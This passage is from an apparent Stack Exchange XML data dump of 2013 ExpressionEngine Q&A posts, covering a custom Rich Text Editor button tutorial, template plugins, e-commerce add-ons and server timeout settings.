Mytool_rte&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At this point, go through the file and change all references to the example you copied from so that they match mytool, or My Tool, etc., instead of the original. Also put what you like in the $info array values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. locate the function definition(). This is going to insert JavaScript into the user interface as your button is added. You're on your own as far as discovering what may be necessary to put in it as far as events, etc., but I want to warn on one point. Do not have a line defining 'name:' within WysiHat.addButton('mytool'){}. It's a possible WysiHat feature, but if you use it, you'll blank the entire RTE button bar. Something Ellis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just stick with using a label: at first. Here's an example, with a label line instead, and a name line commented out to remind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function definition()&#xA;    {&#xA;        ob_start(); ?&amp;gt;&#xA;&#xA;        WysiHat.addButton('mytool', {&#xA;            // name:        'MyTool'&#xA;            label:      'MyTool'&#xA;        });&#xA;&#xA;&amp;lt;?php   $buffer = ob_get_contents();&#xA;        ob_end_clean(); &#xA;        return $buffer;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;d. Ok, now add your database record as in item 1. When you are successful, then you can go to Add-Ons&gt;Modules&gt;Rich Text Editor in the Control Panel, and click on the default Toolset, to get a drag-drop panel which should contain your MyTool on the left side. Drag it to the right side and position it in the order where you want it, then Submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e. At this point, you should be able to try a Publish page with a Rich Text field, and see your button in position. It will be blank, grey, and small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;f. Can we get an appearance as Ellis has for the stock RTE buttons? Actually, we can, and more easily than I had thought, as their interface and behavior is sensible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most buttons use CSS background images, defined in a multi-image sprite here: themes\cp_themes\default\images\rte_images\button-sprite.png. The appropriate images (note there are two per button, one a greyed version) are selected by background-position CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's one button which doesn't use an image, but shows its label text, the one on the right end to View Code. Let's emulate that one, as you can build your own pngs or sprite later if you want image buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;g. Alter or add a function as the following in your class. Note that it's attuned to mytool, and don't forget the 'b', as it's targeting what will be bold text markup on your label. This function will stack CSS in with what the CP already provides. In this case the markup removes the background image, and makes some minor placement for your label's text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        function styles()&#xA;        {&#xA;            ob_start(); ?&amp;gt;&#xA;&#xA;            .WysiHat-editor-toolbar .mytool b {&#xA;                background-image: none;&#xA;                            text-indent: 0;&#xA;                            padding-top: 1px;&#xA;            }&#xA;&#xA;    &amp;lt;?php   $buffer = ob_get_contents();&#xA;            ob_end_clean(); &#xA;            return $buffer;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now reload the Publish page in the CP, and you should have a Rich Text menubar like this, with your mytool button nicely showing. Notice that the button auto-sized to fit your text, and that you could add a line borrowed from the View Code style function CSS if you wanted it all capitalized, etc. Spaces in the original label:, as 'My Tool', would also have been fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0CpQD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I think we're complete. If you made the images for your buttons, you can alter the CSS here to use them, following the examples in themes\cp_themes\default\css\rte.css, and being sure to allow for the greyed versions and so forth by defining :hover, :disabled, aria-pressed=true etc. as is done there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd put the full source here, but as it's derivative of Ellis, and given their recent legalities even though their intent is to be copied in this case, seems better not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good fortune with this, and it's been a good exercise to see what's going on in today's EllisLab work.&lt;/p&gt;&#xA;" OwnerUserId="103" LastEditorUserId="103" LastEditDate="2013-03-19T05:51:30.003" LastActivityDate="2013-03-19T05:51:30.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7474" PostTypeId="1" CreationDate="2013-03-18T22:50:55.653" Score="1" ViewCount="127" Body="&lt;p&gt;I have products in a channel that each have a CartThrob Price Modifier to choose a size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is to give a customer 10% off if they buy more than 10 of any of those options in the Price Modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if it's possible to have a discount like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-03-19T06:52:19.827" Title="Percentage discount for X number of item options in Cartthrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7475" PostTypeId="2" ParentId="7460" CreationDate="2013-03-18T23:31:46.977" Score="4" Body="&lt;p&gt;As you mentioned Store does not currently support recurring payments with any of the gateways. It is a bit more complicated then just adding a gateway that allows recurring subscriptions to actually have them execute in Store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there isn't a way in Store to store the customers CC details or Payment Token that would allow the payment details to be kept so that they could be reused each payment. You would also need to add some mechanism that would recreate the cart or ordered items each month (or however often you want to bill) to increment orders and send out recipets. Depending on if your site members are able to access certain sections of your site or be in a separate member group you would need to build the functionality to check if the member has an active subscription and then act accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ZooVistor and similar add-ons for the most part just extend the default member module so they would require some custom development to add subscription management. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't anything that I am aware of that extends Store to offer recurring payments. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-18T23:31:46.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7476" PostTypeId="1" CreationDate="2013-03-19T00:31:41.100" Score="1" ViewCount="86" Body="&lt;p&gt;I have a site with many similarly-named article entries that are organized by multiple categories. When selecting these articles in a Playa field in the control panel, I'd like to be able to select more than one category filter to narrow down the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, adding multiple category filters displays entries that are in either one category or the other (e.g., it shows entries that are in either cat_1 OR cat_2). I want it to select entries that are in cat_1 AND cat_2.  Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Playa 4.3.3 on EE 2.3.1. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This doesn't seem to be built in to Playa, but if anyone knows how to hack it so this works, I'd accept that as an answer!&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="119" LastEditDate="2013-03-19T23:33:37.610" LastActivityDate="2013-03-19T23:33:37.610" Title="How can Playa combine multiple category filters in the CP?" Tags="|ee2|categories|playa|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7477" PostTypeId="1" CreationDate="2013-03-19T00:38:58.610" Score="3" ViewCount="120" Body="&lt;p&gt;Old school knowledge needed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IP-based method of exempting GoogleBot from throttling (as detailed in the MIA EE wiki) no longer works - GoogleBot doesn't have a fixed IP range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need Google to be able to constantly and reliably index a news site, but would like to keep throttling active, to help deal with weak DOS nonsense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2013-03-19T04:20:11.110" Title="Exempt GoogleBot from throttling (1.x)" Tags="|ee1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7478" PostTypeId="2" ParentId="7477" CreationDate="2013-03-19T04:20:11.110" Score="1" Body="&lt;p&gt;You might look at changing this in Google's configs directly. If you set up a Webmaster Tools account and connect the domain, you can adjust the &lt;a href=&quot;http://support.google.com/webmasters/bin/answer.py?hl=en&amp;amp;answer=48620&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Crawl Rate&lt;/strong&gt;&lt;/a&gt; to something that will work better for your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HV5VZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-19T04:20:11.110" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7481" PostTypeId="2" ParentId="7474" CreationDate="2013-03-19T06:52:19.827" Score="1" Body="&lt;p&gt;I don't think if its possible with any existing feature of CartThrob, It might be implement with discount plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a reference for developing discount plugin from here : &lt;a href=&quot;http://cartthrob.com/docs/developers/discount_plugins/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/developers/discount_plugins/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-19T06:52:19.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7482" PostTypeId="2" ParentId="7467" CreationDate="2013-03-19T07:05:37.630" Score="0" Body="&lt;p&gt;For most cases solutions is incising max_execution_time as Anna told (you can also setup it in php.ini as max_execution_time 120).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can also try to add next lines into your  .htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_fcgid.c&amp;gt;&#xA;IdleTimeout 3600&#xA;ProcessLifeTime 7200&#xA;MaxProcessCount 64&#xA;DefaultMaxClassProcessCount 8&#xA;IPCConnectTimeout 300&#xA;IPCCommTimeout 7200&#xA;BusyTimeout 300&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in case if is will not helps - try to add it into you vhost, because on many hosting this option is closed in .htaccess &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-19T07:05:37.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7483" PostTypeId="2" ParentId="7275" CreationDate="2013-03-19T07:35:01.367" Score="1" Body="&lt;p&gt;kgrote, try and download the latest release of AB Pagination from devot-ee, there was a bugfix about a month ago dealing with this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you're interested in passing that ?feed=rss2 query string with the pagination links you can use the {abp_query_string} variable, more info here: &lt;a href=&quot;https://getsatisfaction.com/addonbakery/topics/does_not_work_with_query_strings#reply_6709038&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/addonbakery/topics/does_not_work_with_query_strings#reply_6709038&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-03-19T07:35:01.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7484" PostTypeId="2" ParentId="7467" CreationDate="2013-03-19T09:24:51.077" Score="1" Body="&lt;p&gt;That error is specific to mod_fcgid, not PHP itself. If you're using the current version of mod_fcgid then you will need to set the &lt;code&gt;FcgidIOTimeout&lt;/code&gt; directive (&lt;a href=&quot;http://httpd.apache.org/mod_fcgid/mod/mod_fcgid.html#fcgidiotimeout&quot; rel=&quot;nofollow&quot;&gt;ref&lt;/a&gt;), otherwise you'll need the old directive, &lt;code&gt;IPCCommTimeout&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-03-19T09:24:51.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7485" PostTypeId="2" ParentId="7459" CreationDate="2013-03-19T09:42:15.217" Score="0" Body="&lt;p&gt;try next header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('Content-Type: application/octet-stream');&#xA;header('Content-Disposition: attachment; filename=filename.csv');&#xA;header('Content-Transfer-Encoding: binary');&#xA;header('Accept-Ranges: bytes');&#xA;header('Cache-control: no-cache, pre-check=0, post-check=0');&#xA;header('Cache-control: private');&#xA;header('Pragma: private');&#xA;header('Expires: 0');c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-19T09:42:15.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7486" PostTypeId="2" ParentId="7476" CreationDate="2013-03-19T12:10:27.003" Score="1" Body="&lt;p&gt;You can't do this natively with Playa filters - you'd have to hack-in and change how it builds the query there (which would not be upgrade-safe).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-19T12:10:27.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7487" PostTypeId="2" ParentId="7414" CreationDate="2013-03-19T12:19:05.837" Score="1" Body="&lt;p&gt;What I'd suggest instead is that you use your plugin as a tag pair with one variable - &lt;code&gt;category_entry_id&lt;/code&gt; - then put your Playa tag inside of it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:getcategoryentryid category=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;    {exp:playa:parents entry_id=&quot;{category_entry_id}&quot; backspace=&quot;10&quot;}&#xA;        ...&#xA;    {/exp:playa:parents}&#xA;{/exp:getcategoryentryid}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right now your plugin probably does this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;return_data = $categoryEntryId;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead, you need to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, array('category_entry_id' =&amp;gt; $categoryEntryId));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-11-28T12:31:34.750" LastActivityDate="2013-11-28T12:31:34.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7488" PostTypeId="1" AcceptedAnswerId="7490" CreationDate="2013-03-19T13:24:53.150" Score="2" ViewCount="105" Body="&lt;p&gt;I'm trying to use MX Calculate to perform a percentage calculation of each row in a matrix column and the percentage is based on the value that's in each row which I'm trying to get Switchee to recognize but I think my problem lies somewhere in the parse order but I can't figure it out. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{event_fee}&quot; parse=&quot;inward&quot;}&#xA;&#xA;     {case value=&quot;&amp;gt;=1000&quot;}&#xA;     &amp;lt;strong&amp;gt;&#xA;     $ {exp:mx_calc parse=&quot;inward&quot; expression=&quot;{event_fee}/100*40&quot;}&#xA;     &amp;lt;/strong&amp;gt;&#xA;     {/case}&#xA;&#xA;     {case value=&quot;&amp;lt;=999&quot;}&#xA;     &amp;lt;strong&amp;gt;&#xA;     $ {exp:mx_calc parse=&quot;inward&quot; expression=&quot;{event_fee}/100*30&quot;}&#xA;     &amp;lt;/strong&amp;gt;&#xA;     {/case}&#xA;&#xA; {/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1193" LastEditorUserId="1193" LastEditDate="2013-03-19T13:42:27.730" LastActivityDate="2013-03-19T14:57:11.847" Title="Switchee | Matrix and MX Calculator" Tags="|matrix|switchee|mx-calculator|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7489" PostTypeId="2" ParentId="2132" CreationDate="2013-03-19T13:46:29.643" Score="2" Body="&lt;p&gt;I recently had this same issue, when I learned that you need to set &lt;code&gt;paginate_base=&quot;template/page&quot;&lt;/code&gt; So lets say you have a news group and inside of that you have a index page it would be &quot;news/index&quot; for me that worked. With dynamic and cache set to &quot;no&quot;&lt;/p&gt;&#xA;" OwnerUserId="1194" LastActivityDate="2013-03-19T13:46:29.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7490" PostTypeId="2" ParentId="7488" CreationDate="2013-03-19T14:11:48.727" Score="1" Body="&lt;p&gt;According to a &lt;a href=&quot;http://devot-ee.com/add-ons/support/switchee/viewthread/6134&quot; rel=&quot;nofollow&quot;&gt;forum post on Devot:ee&lt;/a&gt;, you can't do less thans or greater thans inside the case values.&lt;br&gt;&#xA;You'll need to use a regular expression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.regular-expressions.info/numericranges.html&quot; rel=&quot;nofollow&quot;&gt;http://www.regular-expressions.info/numericranges.html&lt;/a&gt; explains how to define numeric ranges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for your example, &lt;code&gt;case value=&quot;#^([0-9]|[1-9][0-9]|[1-9][0-9][0-9])$#&quot;&lt;/code&gt; should match 0-999. (Your regex needs to be enclosed with hashes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are only using the two cases you mention, you might be better off using &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse&lt;/a&gt;. I'm pretty sure you can use greater than and less than.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-03-19T14:11:48.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7491" PostTypeId="2" ParentId="7163" CreationDate="2013-03-19T14:54:25.603" Score="1" Body="&lt;p&gt;Chances are the error reporting is different on the new server. Do a phpinfo() on each server and see what the difference is. Or check the php.ini files on each server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have access to the ini files, you'll need to break down the error reporting value, which can be a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll be happy to hear you can override the php.ini error_reporting value in your code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/function.ini-set.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/function.ini-set.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-03-19T14:54:25.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7492" PostTypeId="2" ParentId="7488" CreationDate="2013-03-19T14:57:11.847" Score="0" Body="&lt;p&gt;In this instance you'd probably be better off using &lt;a href=&quot;https://github.com/croxton/Ifelse&quot; rel=&quot;nofollow&quot;&gt;Ifelse&lt;/a&gt; rather than Switchee. While you can certainly bodge all sorts of things with regular expressions, a switch statement isn't generally the way to go if you just want a simple &lt;code&gt;n &amp;lt; y&lt;/code&gt; check.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;} &#xA;    {if event_fee &amp;lt; 1000}&#xA;        &amp;lt;strong&amp;gt;&#xA;        $ {exp:mx_calc parse=&quot;inward&quot; expression=&quot;{event_fee}/100*30&quot;}&#xA;        &amp;lt;/strong&amp;gt;&#xA;    {if:else}&#xA;         &amp;lt;strong&amp;gt;&#xA;         $ {exp:mx_calc parse=&quot;inward&quot; expression=&quot;{event_fee}/100*40&quot;}&#xA;         &amp;lt;/strong&amp;gt;&#xA;    {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ifelse plugin will remove non-matching conditions before they're parsed, so you'll still only have one mx_calc call per row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Edit: I've just noticed Jason's mentioned ifelse in his response already. I'll leave my answer here since the sample code might be useful.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-03-19T14:57:11.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7493" PostTypeId="2" ParentId="7472" CreationDate="2013-03-19T15:19:00.793" Score="2" Body="&lt;p&gt;You're confusing the syntax for &lt;code&gt;related_entries&lt;/code&gt; and &lt;code&gt;reverse_related_entries&lt;/code&gt;. It's &lt;code&gt;related_entries&lt;/code&gt; which gets the &lt;code&gt;id&lt;/code&gt; parameter (to signify which field you're asking for). &lt;code&gt;reverse_related_entries&lt;/code&gt; expects a &lt;code&gt;channel&lt;/code&gt; parameter (among other options).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#reverse-related-entries-tag-pair&quot; rel=&quot;nofollow&quot;&gt;See docs.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your lower &lt;code&gt;reverse_related_entries&lt;/code&gt; tag should look more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{reverse_related_entries channel=&quot;reviews&quot;}&#xA;{if count == 1}&#xA;    &amp;lt;div id=&quot;product_reviews&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Reviews&amp;lt;/h3&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;div class=&quot;reviewitem&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;synopsis&quot;&amp;gt;&#xA;        {review_synopsis}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;author&quot;&amp;gt;{review_author}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;link&quot;&amp;gt;&amp;lt;a href=&quot;{review_link}&quot; target=&quot;_blank&quot;&amp;gt;{review_publication}&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{if count == total_results}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;clearboth&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{/reverse_related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Your &lt;code&gt;{if no_reverse_related_entries}&lt;/code&gt; conditional was superfluous.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, your first &lt;code&gt;reverse_related_entries&lt;/code&gt; tag pair should follow the same format (it currently has no &lt;code&gt;channel&lt;/code&gt; parameter).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-19T15:19:00.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7494" PostTypeId="1" AcceptedAnswerId="7495" CreationDate="2013-03-19T15:26:59.600" Score="0" ViewCount="112" Body="&lt;p&gt;I've got an embedded template called _sidebar that contains (surprise surprise) the site's sidebar content. It contains a heading and a channel:entries tag, all wrapped in a container div. In some templates (eg. the index template of the 'news' template group) the C:E tag works as expected. However, when I embed _sidebar into the news/view template *and access a particular news article via a {url_title_path} link* the C:E tag fails to generate any content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can see that _sidebar &lt;em&gt;is&lt;/em&gt; getting embedded, because the heading and the container div appear in the sidebar region as expected. It's just that none of the content that should be called in by the C:E tag is there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the 'news' and 'news/view' host templates have identical structures. There are no nested C:E tags either in the host template or in the embedded template. If I go to the URL domain.com/news/view (without selecting a specific article) then the sidebar displays correctly. It is only when the same template is used for a specific article (e.g.. domain.com/news/view/my-article-title that the glitch occurs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I have no conditionals relating to segment_3 in my templates. There are some conditionals acting on the value of segment_1 in the _sidebar template, but if they were being triggered then the heading and container div would be removed from the template also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit stumped. Without getting into the whole template code (yet) does anyone have any immediate thoughts, or has anyone run across this phenomena?&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="77" LastEditDate="2013-03-19T15:59:00.710" LastActivityDate="2013-03-19T16:01:32.487" Title="Embedded template channel entries tag inexplicably breaking in some host templates" Tags="|channel-entries|templates|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7495" PostTypeId="2" ParentId="7494" CreationDate="2013-03-19T16:01:32.487" Score="0" Body="&lt;p&gt;Semi-educated guess: You need to set &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; on the channel entries tag. If that's not the issue then I'd suggest posting some template code so that people can see what's going on.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-03-19T16:01:32.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7497" PostTypeId="1" CreationDate="2013-03-19T16:18:36.257" Score="1" ViewCount="652" Body="&lt;p&gt;I'm getting these PHP errors with Assets 2.05 installed in EE 2.5.5. When an uploaded image is edited through the File Manager &quot;Edit File&quot; or &quot;Edit Image&quot; actions, these warnings show:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Undefined index: upload_location_id&#xA;Filename: assets/ext.assets.php&#xA;Line Number: 255&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Undefined index: file_name&#xA;Filename: assets/ext.assets.php&#xA;Line Number: 255&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Undefined index: upload_location_id&#xA;Filename: assets/ext.assets.php&#xA;Line Number: 260&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cannot modify header information - headers already sent by (output started at /home/curvedes/public_html/mercytouch2/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 809&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image shows up properly in Assets, indexing shows all the upload folders, which have their preferences set to 777.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I uninstall Assets, the errors disappear. Any ideas on how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="1196" LastActivityDate="2013-03-29T00:11:27.753" Title="Assets php error undefined index" Tags="|assets|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7498" PostTypeId="2" ParentId="7232" CreationDate="2013-03-19T16:36:28.077" Score="0" Body="&lt;p&gt;I'm doing the same thing the only difference is my dropdown in the matrix field is a playa field which is displayed via safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create another embed template and place your PT Dropdown code in it so you would have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;mymatrixfield[selections][]&quot; id=&quot;mymatrixfield&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;mymatrixfield&quot;&amp;gt;Add Additional Website&amp;lt;/option&amp;gt;&#xA;    {exp:channel:entries dynamic=&quot;no&quot; channel=&quot;portfolio&quot;}&#xA;    &amp;lt;option value=&quot;{entry_id}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You would replace the my matrixfield with your matrix field name and&#xA;  change the channel name.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Next, add embed the template into your profile:edit template and you should be good to go e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/.templatename&quot; selected=&quot;{mymatrixfield:child_ids}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Again you would replace mymatrixfield with your matrix field name and&#xA;  .templatename with your corresponding template name.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1193" LastActivityDate="2013-03-19T16:36:28.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7499" PostTypeId="1" CreationDate="2013-03-19T16:43:12.593" Score="1" ViewCount="134" Body="&lt;p&gt;I am having trouble pulling images into my site using the DataGrab module. I am pulling in all the data just fine- including the image URL. But I need to take that url and pull the image to my own server. What is the easiest way to do this?&lt;/p&gt;&#xA;" OwnerUserId="1197" LastActivityDate="2013-03-19T17:03:38.473" Title="How to pull and host an image file pulled from DataGrab[EE module] instagram feed" Tags="|file-manager|channel-images|datagrab|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7500" PostTypeId="1" AcceptedAnswerId="7506" CreationDate="2013-03-19T16:46:55.127" Score="1" ViewCount="132" Body="&lt;p&gt;what´s the best way to embed an iframe from Slideshare into an entry? Here´s an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;http://de.slideshare.net/slideshow/embed_code/17368866&quot; width=&quot;427&quot;&#xA;height=&quot;356&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot;&#xA;style=&quot;border:1px solid #CCC;border-width:1px 1px 0;margin-bottom:5px&quot; allowfullscreen&#xA;webkitallowfullscreen mozallowfullscreen&amp;gt; &amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use Content Elements, but non ofthe sub fields CE offers will show the deck. So, I assue, that I need to add an extra field. Which one would be the best?&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-03-19T18:01:57.117" Title="How do I embed a slide deck from Slideshare" Tags="|fieldtype|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC 